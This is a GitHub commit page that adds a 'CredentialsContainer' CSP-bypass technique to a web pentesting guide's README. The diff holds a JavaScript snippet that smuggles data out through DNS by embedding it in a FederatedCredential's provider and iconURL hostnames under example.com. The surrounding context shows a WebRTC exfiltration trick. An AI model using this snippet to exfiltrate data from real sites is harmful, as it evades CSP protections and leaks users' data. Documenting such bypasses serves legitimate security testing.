Skip to content

Commit

Permalink
Merge pull request #1005 from satoki/master
Browse files Browse the repository at this point in the history
Add CSP Exfiltration Bypass Technic by CredentialsContainer
  • Loading branch information
carlospolop authored Jan 26, 2025
2 parents db32976 + 2425ea7 commit 7947c54
Showing 1 changed file with 16 additions and 0 deletions.
16 changes: 16 additions & 0 deletions src/pentesting-web/content-security-policy-csp-bypass/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -794,6 +794,22 @@ var pc = new RTCPeerConnection({
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
The credential popup sends a DNS request to the iconURL without being restricted by the page. It only works in a secure context (HTTPS) or on localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
```
## Checking CSP Policies Online
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
Expand Down

0 comments on commit 7947c54

Please sign in to comment.